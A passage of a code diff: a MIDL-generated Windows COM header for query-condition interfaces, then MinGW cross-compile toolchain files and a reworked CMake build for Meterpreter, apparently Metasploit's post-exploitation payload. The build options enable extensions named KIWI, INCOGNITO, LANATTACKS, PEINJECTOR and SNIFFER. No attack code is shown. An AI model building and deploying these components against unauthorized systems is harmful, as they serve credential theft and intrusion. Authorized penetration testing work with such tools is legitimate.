MIDL_INTERFACE("4FDEF69C-DBC9-454e-9910-B34F3C64B510")
IRichChunk : public IUnknown
{
public:
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetData(
/* [annotation][unique][out] */
_Out_opt_ ULONG *pFirstPos,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pLength,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppsz,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *pValue) = 0;
};
#else /* C style interface */
typedef struct IRichChunkVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in IRichChunk * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in IRichChunk * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in IRichChunk * This);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetData )(
IRichChunk * This,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pFirstPos,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pLength,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppsz,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *pValue);
END_INTERFACE
} IRichChunkVtbl;
interface IRichChunk
{
CONST_VTBL struct IRichChunkVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define IRichChunk_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define IRichChunk_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define IRichChunk_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define IRichChunk_GetData(This,pFirstPos,pLength,ppsz,pValue) \
( (This)->lpVtbl -> GetData(This,pFirstPos,pLength,ppsz,pValue) )
#endif /* COBJMACROS */
#endif /* C style interface */
/* [call_as] */ HRESULT STDMETHODCALLTYPE IRichChunk_RemoteGetData_Proxy(
__RPC__in IRichChunk * This,
/* [out] */ __RPC__out ULONG *pFirstPos,
/* [out] */ __RPC__out ULONG *pLength,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppsz,
/* [out] */ __RPC__out PROPVARIANT *pValue);
void __RPC_STUB IRichChunk_RemoteGetData_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __IRichChunk_INTERFACE_DEFINED__ */
#ifndef __ICondition_INTERFACE_DEFINED__
#define __ICondition_INTERFACE_DEFINED__
/* interface ICondition */
/* [unique][uuid][object] */
EXTERN_C const IID IID_ICondition;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("0FC988D4-C935-4b97-A973-46282EA175C8")
ICondition : public IPersistStream
{
public:
virtual HRESULT STDMETHODCALLTYPE GetConditionType(
/* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType) = 0;
virtual HRESULT STDMETHODCALLTYPE GetSubConditions(
/* [in] */ __RPC__in REFIID riid,
/* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv) = 0;
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetComparisonInfo(
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar) = 0;
virtual HRESULT STDMETHODCALLTYPE GetValueType(
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName) = 0;
virtual HRESULT STDMETHODCALLTYPE GetValueNormalization(
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization) = 0;
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetInputTerms(
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm) = 0;
virtual HRESULT STDMETHODCALLTYPE Clone(
/* [retval][out] */ __RPC__deref_out_opt ICondition **ppc) = 0;
};
#else /* C style interface */
typedef struct IConditionVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ICondition * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ICondition * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ICondition * This);
HRESULT ( STDMETHODCALLTYPE *GetClassID )(
__RPC__in ICondition * This,
/* [out] */ __RPC__out CLSID *pClassID);
HRESULT ( STDMETHODCALLTYPE *IsDirty )(
__RPC__in ICondition * This);
HRESULT ( STDMETHODCALLTYPE *Load )(
__RPC__in ICondition * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm);
HRESULT ( STDMETHODCALLTYPE *Save )(
__RPC__in ICondition * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm,
/* [in] */ BOOL fClearDirty);
HRESULT ( STDMETHODCALLTYPE *GetSizeMax )(
__RPC__in ICondition * This,
/* [out] */ __RPC__out ULARGE_INTEGER *pcbSize);
HRESULT ( STDMETHODCALLTYPE *GetConditionType )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType);
HRESULT ( STDMETHODCALLTYPE *GetSubConditions )(
__RPC__in ICondition * This,
/* [in] */ __RPC__in REFIID riid,
/* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetComparisonInfo )(
ICondition * This,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar);
HRESULT ( STDMETHODCALLTYPE *GetValueType )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName);
HRESULT ( STDMETHODCALLTYPE *GetValueNormalization )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetInputTerms )(
ICondition * This,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm);
HRESULT ( STDMETHODCALLTYPE *Clone )(
__RPC__in ICondition * This,
/* [retval][out] */ __RPC__deref_out_opt ICondition **ppc);
END_INTERFACE
} IConditionVtbl;
interface ICondition
{
CONST_VTBL struct IConditionVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ICondition_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ICondition_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ICondition_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ICondition_GetClassID(This,pClassID) \
( (This)->lpVtbl -> GetClassID(This,pClassID) )
#define ICondition_IsDirty(This) \
( (This)->lpVtbl -> IsDirty(This) )
#define ICondition_Load(This,pStm) \
( (This)->lpVtbl -> Load(This,pStm) )
#define ICondition_Save(This,pStm,fClearDirty) \
( (This)->lpVtbl -> Save(This,pStm,fClearDirty) )
#define ICondition_GetSizeMax(This,pcbSize) \
( (This)->lpVtbl -> GetSizeMax(This,pcbSize) )
#define ICondition_GetConditionType(This,pNodeType) \
( (This)->lpVtbl -> GetConditionType(This,pNodeType) )
#define ICondition_GetSubConditions(This,riid,ppv) \
( (This)->lpVtbl -> GetSubConditions(This,riid,ppv) )
#define ICondition_GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) \
( (This)->lpVtbl -> GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) )
#define ICondition_GetValueType(This,ppszValueTypeName) \
( (This)->lpVtbl -> GetValueType(This,ppszValueTypeName) )
#define ICondition_GetValueNormalization(This,ppszNormalization) \
( (This)->lpVtbl -> GetValueNormalization(This,ppszNormalization) )
#define ICondition_GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) \
( (This)->lpVtbl -> GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) )
#define ICondition_Clone(This,ppc) \
( (This)->lpVtbl -> Clone(This,ppc) )
#endif /* COBJMACROS */
#endif /* C style interface */
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_RemoteGetComparisonInfo_Proxy(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
void __RPC_STUB ICondition_RemoteGetComparisonInfo_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_RemoteGetInputTerms_Proxy(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppPropertyTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppOperationTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppValueTerm);
void __RPC_STUB ICondition_RemoteGetInputTerms_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __ICondition_INTERFACE_DEFINED__ */
#ifndef __ICondition2_INTERFACE_DEFINED__
#define __ICondition2_INTERFACE_DEFINED__
/* interface ICondition2 */
/* [unique][object][uuid] */
EXTERN_C const IID IID_ICondition2;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("0DB8851D-2E5B-47eb-9208-D28C325A01D7")
ICondition2 : public ICondition
{
public:
virtual HRESULT STDMETHODCALLTYPE GetLocale(
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszLocaleName) = 0;
virtual /* [local] */ HRESULT STDMETHODCALLTYPE GetLeafConditionInfo(
/* [annotation][out] */
_Out_opt_ PROPERTYKEY *ppropkey,
/* [annotation][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][out] */
_Out_opt_ PROPVARIANT *ppropvar) = 0;
};
#else /* C style interface */
typedef struct ICondition2Vtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ICondition2 * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ICondition2 * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ICondition2 * This);
HRESULT ( STDMETHODCALLTYPE *GetClassID )(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out CLSID *pClassID);
HRESULT ( STDMETHODCALLTYPE *IsDirty )(
__RPC__in ICondition2 * This);
HRESULT ( STDMETHODCALLTYPE *Load )(
__RPC__in ICondition2 * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm);
HRESULT ( STDMETHODCALLTYPE *Save )(
__RPC__in ICondition2 * This,
/* [unique][in] */ __RPC__in_opt IStream *pStm,
/* [in] */ BOOL fClearDirty);
HRESULT ( STDMETHODCALLTYPE *GetSizeMax )(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out ULARGE_INTEGER *pcbSize);
HRESULT ( STDMETHODCALLTYPE *GetConditionType )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__out CONDITION_TYPE *pNodeType);
HRESULT ( STDMETHODCALLTYPE *GetSubConditions )(
__RPC__in ICondition2 * This,
/* [in] */ __RPC__in REFIID riid,
/* [iid_is][retval][out] */ __RPC__deref_out_opt void **ppv);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetComparisonInfo )(
ICondition2 * This,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar);
HRESULT ( STDMETHODCALLTYPE *GetValueType )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszValueTypeName);
HRESULT ( STDMETHODCALLTYPE *GetValueNormalization )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__deref_out_opt LPWSTR *ppszNormalization);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetInputTerms )(
ICondition2 * This,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm);
HRESULT ( STDMETHODCALLTYPE *Clone )(
__RPC__in ICondition2 * This,
/* [retval][out] */ __RPC__deref_out_opt ICondition **ppc);
HRESULT ( STDMETHODCALLTYPE *GetLocale )(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszLocaleName);
/* [local] */ HRESULT ( STDMETHODCALLTYPE *GetLeafConditionInfo )(
ICondition2 * This,
/* [annotation][out] */
_Out_opt_ PROPERTYKEY *ppropkey,
/* [annotation][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][out] */
_Out_opt_ PROPVARIANT *ppropvar);
END_INTERFACE
} ICondition2Vtbl;
interface ICondition2
{
CONST_VTBL struct ICondition2Vtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ICondition2_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ICondition2_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ICondition2_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ICondition2_GetClassID(This,pClassID) \
( (This)->lpVtbl -> GetClassID(This,pClassID) )
#define ICondition2_IsDirty(This) \
( (This)->lpVtbl -> IsDirty(This) )
#define ICondition2_Load(This,pStm) \
( (This)->lpVtbl -> Load(This,pStm) )
#define ICondition2_Save(This,pStm,fClearDirty) \
( (This)->lpVtbl -> Save(This,pStm,fClearDirty) )
#define ICondition2_GetSizeMax(This,pcbSize) \
( (This)->lpVtbl -> GetSizeMax(This,pcbSize) )
#define ICondition2_GetConditionType(This,pNodeType) \
( (This)->lpVtbl -> GetConditionType(This,pNodeType) )
#define ICondition2_GetSubConditions(This,riid,ppv) \
( (This)->lpVtbl -> GetSubConditions(This,riid,ppv) )
#define ICondition2_GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) \
( (This)->lpVtbl -> GetComparisonInfo(This,ppszPropertyName,pcop,ppropvar) )
#define ICondition2_GetValueType(This,ppszValueTypeName) \
( (This)->lpVtbl -> GetValueType(This,ppszValueTypeName) )
#define ICondition2_GetValueNormalization(This,ppszNormalization) \
( (This)->lpVtbl -> GetValueNormalization(This,ppszNormalization) )
#define ICondition2_GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) \
( (This)->lpVtbl -> GetInputTerms(This,ppPropertyTerm,ppOperationTerm,ppValueTerm) )
#define ICondition2_Clone(This,ppc) \
( (This)->lpVtbl -> Clone(This,ppc) )
#define ICondition2_GetLocale(This,ppszLocaleName) \
( (This)->lpVtbl -> GetLocale(This,ppszLocaleName) )
#define ICondition2_GetLeafConditionInfo(This,ppropkey,pcop,ppropvar) \
( (This)->lpVtbl -> GetLeafConditionInfo(This,ppropkey,pcop,ppropvar) )
#endif /* COBJMACROS */
#endif /* C style interface */
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition2_RemoteGetLeafConditionInfo_Proxy(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out PROPERTYKEY *ppropkey,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
void __RPC_STUB ICondition2_RemoteGetLeafConditionInfo_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __ICondition2_INTERFACE_DEFINED__ */
/* interface __MIDL_itf_structuredquerycondition_0000_0003 */
/* [local] */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0003_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0003_v0_0_s_ifspec;
/* Additional Prototypes for ALL interfaces */
unsigned long __RPC_USER BSTR_UserSize( __RPC__in unsigned long *, unsigned long , __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserMarshal( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * );
void __RPC_USER BSTR_UserFree( __RPC__in unsigned long *, __RPC__in BSTR * );
unsigned long __RPC_USER LPSAFEARRAY_UserSize( __RPC__in unsigned long *, unsigned long , __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserMarshal( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserUnmarshal(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * );
void __RPC_USER LPSAFEARRAY_UserFree( __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * );
unsigned long __RPC_USER BSTR_UserSize64( __RPC__in unsigned long *, unsigned long , __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserMarshal64( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in BSTR * );
unsigned char * __RPC_USER BSTR_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out BSTR * );
void __RPC_USER BSTR_UserFree64( __RPC__in unsigned long *, __RPC__in BSTR * );
unsigned long __RPC_USER LPSAFEARRAY_UserSize64( __RPC__in unsigned long *, unsigned long , __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserMarshal64( __RPC__in unsigned long *, __RPC__inout_xcount(0) unsigned char *, __RPC__in LPSAFEARRAY * );
unsigned char * __RPC_USER LPSAFEARRAY_UserUnmarshal64(__RPC__in unsigned long *, __RPC__in_xcount(0) unsigned char *, __RPC__out LPSAFEARRAY * );
void __RPC_USER LPSAFEARRAY_UserFree64( __RPC__in unsigned long *, __RPC__in LPSAFEARRAY * );
/* [local] */ HRESULT STDMETHODCALLTYPE IRichChunk_GetData_Proxy(
IRichChunk * This,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pFirstPos,
/* [annotation][unique][out] */
_Out_opt_ ULONG *pLength,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppsz,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *pValue);
/* [call_as] */ HRESULT STDMETHODCALLTYPE IRichChunk_GetData_Stub(
__RPC__in IRichChunk * This,
/* [out] */ __RPC__out ULONG *pFirstPos,
/* [out] */ __RPC__out ULONG *pLength,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppsz,
/* [out] */ __RPC__out PROPVARIANT *pValue);
/* [local] */ HRESULT STDMETHODCALLTYPE ICondition_GetComparisonInfo_Proxy(
ICondition * This,
/* [annotation][unique][out] */
_Outptr_opt_result_maybenull_ LPWSTR *ppszPropertyName,
/* [annotation][unique][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][unique][out] */
_Out_opt_ PROPVARIANT *ppropvar);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_GetComparisonInfo_Stub(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt LPWSTR *ppszPropertyName,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
/* [local] */ HRESULT STDMETHODCALLTYPE ICondition_GetInputTerms_Proxy(
ICondition * This,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppPropertyTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppOperationTerm,
/* [annotation][unique][out] */
_Out_opt_ IRichChunk **ppValueTerm);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition_GetInputTerms_Stub(
__RPC__in ICondition * This,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppPropertyTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppOperationTerm,
/* [out] */ __RPC__deref_out_opt IRichChunk **ppValueTerm);
/* [local] */ HRESULT STDMETHODCALLTYPE ICondition2_GetLeafConditionInfo_Proxy(
ICondition2 * This,
/* [annotation][out] */
_Out_opt_ PROPERTYKEY *ppropkey,
/* [annotation][out] */
_Out_opt_ CONDITION_OPERATION *pcop,
/* [annotation][out] */
_Out_opt_ PROPVARIANT *ppropvar);
/* [call_as] */ HRESULT STDMETHODCALLTYPE ICondition2_GetLeafConditionInfo_Stub(
__RPC__in ICondition2 * This,
/* [out] */ __RPC__out PROPERTYKEY *ppropkey,
/* [out] */ __RPC__out CONDITION_OPERATION *pcop,
/* [out] */ __RPC__out PROPVARIANT *ppropvar);
/* end of Additional Prototypes */
#ifdef __cplusplus
}
#endif
#endif

View File

@ -0,0 +1,20 @@
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_SYSTEM_PROCESSOR i686)
set(CMAKE_TOOLCHAIN_PREFIX "i686-w64-mingw32")
find_program(CMAKE_MAKE_PROGRAM NAMES make)
find_program(CMAKE_RC_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
find_program(CMAKE_C_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
set(CMAKE_C_STANDARD 11)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)

View File

@ -0,0 +1,20 @@
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_SYSTEM_PROCESSOR amd64)
set(CMAKE_TOOLCHAIN_PREFIX "x86_64-w64-mingw32")
find_program(CMAKE_MAKE_PROGRAM NAMES make)
find_program(CMAKE_RC_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
find_program(CMAKE_C_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
set(CMAKE_C_STANDARD 11)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)

View File

@ -2,23 +2,89 @@ cmake_minimum_required(VERSION 3.15.7 FATAL_ERROR)
set(PROJECT_NAME meterpreter)
cmake_policy(SET CMP0091 NEW)
project(${PROJECT_NAME} C CXX)
if(MSVC)
cmake_policy(SET CMP0091 NEW)
endif()
project(${PROJECT_NAME} C)
option(DBGTRACE "Enable debug tracing" OFF)
option(DBGTRACE_VERBOSE "Enable verbose debug tracing" OFF)
option(BUILD_SNIFFER "Build the sniffer extension (requires PSSDK)" OFF)
option(USE_STATIC_MSVC_RUNTIMES "Use /MT instead of /MD in MSVC" ON)
if( USE_STATIC_MSVC_RUNTIMES )
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
option(BUILD_ALL "Build everything" ON)
option(BUILD_LIB_JPEG "Build JPEG lib" OFF)
option(BUILD_METSRV "Build METSRV" OFF)
option(BUILD_EXT_ALL "Build all extensions" OFF)
option(BUILD_EXT_SNIFFER "Build the SNIFFER extension (requires PSSDK)" OFF)
option(BUILD_EXT_STDAPI "Build the STDAPI extension" OFF)
option(BUILD_EXT_PRIV "Build the PRIV extension" OFF)
option(BUILD_EXT_EXTAPI "Build the EXTAPI extension" OFF)
option(BUILD_EXT_KIWI "Build the KIWI extension" OFF)
option(BUILD_EXT_ESPIA "Build the ESPIA extension" OFF)
option(BUILD_EXT_WINPMEM "Build the WINPMEM extension" OFF)
option(BUILD_EXT_UNHOOK "Build the UNHOOK extension" OFF)
option(BUILD_EXT_INCOGNITO "Build the INCOGNITO extension" OFF)
option(BUILD_EXT_LANATTACKS "Build the LANATTACKS extension" OFF)
option(BUILD_EXT_PYTHON "Build the PYTHON extension" OFF)
option(BUILD_EXT_POWERSHELL "Build the POWERSHELL extension" OFF)
option(BUILD_EXT_PEINJECTOR "Build the PEINJECTOR extension" OFF)
if(BUILD_ALL)
set(BUILD_LIB_JPEG ON)
set(BUILD_METSRV ON)
set(BUILD_EXT_ALL ON)
# TODO: plugins
endif()
if(BUILD_EXT_ALL)
set(BUILD_EXT_STDAPI ON)
set(BUILD_EXT_PRIV ON)
set(BUILD_EXT_EXTAPI ON)
set(BUILD_EXT_KIWI ON)
set(BUILD_EXT_ESPIA ON)
set(BUILD_EXT_WINPMEM ON)
set(BUILD_EXT_UNHOOK ON)
set(BUILD_EXT_INCOGNITO ON)
set(BUILD_EXT_LANATTACKS ON)
set(BUILD_EXT_PYTHON ON)
set(BUILD_EXT_POWERSHELL ON)
set(BUILD_EXT_PEINJECTOR ON)
endif()
if(BUILD_EXT_ESPIA)
set(BUILD_LIB_JPEG ON)
endif()
if(BUILD_EXT_STDAPI)
set(BUILD_LIB_JPEG ON)
endif()
if(USE_STATIC_MSVC_RUNTIMES)
if(MSVC)
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
else()
set(CMAKE_MINGW_FLAGS_COMMON "-static-libgcc -mwindows -fms-extensions -Wl,--enable-stdcall-fixup")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${CMAKE_MINGW_FLAGS_COMMON}")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${CMAKE_MINGW_FLAGS_COMMON} -static-libstdc++ -std=c++11")
endif()
endif()
set(WORKSPACE_ROOT_DIR ${PROJECT_SOURCE_DIR})
set(MOD_DEF_DIR ${PROJECT_SOURCE_DIR}/../source/def)
set(BIN_OUTPUT_DIR ${PROJECT_SOURCE_DIR}/../output)
set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk)
set(MOD_DEF_DIR ${PROJECT_SOURCE_DIR}/../source/def/)
set(BIN_OUTPUT_DIR ${PROJECT_SOURCE_DIR}/../output/)
set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk/)
if(CMAKE_GENERATOR_PLATFORM MATCHES "Win32")
if(MSVC)
set(BUILD_ARCH ${CMAKE_GENERATOR_PLATFORM})
else()
set(CMAKE_C_COMPILE_OPTIONS_PIC "")
set(CMAKE_SHARED_LIBRARY_PREFIX "")
set(CMAKE_SHARED_LIBRARY_SUFFIX ".dll")
endif()
if(BUILD_ARCH MATCHES "Win32")
set(TARGET_ARCH "x86")
set(IS_X86 true)
set(IS_X64 false)
@ -30,6 +96,8 @@ else()
set(BIN_SUBSYSTEM "5.01")
endif()
set(CMAKE_LIBRARY_ARCHITECTURE ${TARGET_ARCH} CACHE STRING "" FORCE)
if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE "Release")
message(STATUS "Build Type not specified, defaulting to 'Release'.")
@ -39,12 +107,14 @@ set(IS_RELEASE true)
set(IS_DEBUG false)
if(CMAKE_BUILD_TYPE MATCHES "Release")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /W3 /WX")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3 /WX /EHsc")
string(REPLACE "O2" "O1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
string(REPLACE "Ob2" "Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
string(REPLACE "O2" "O1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
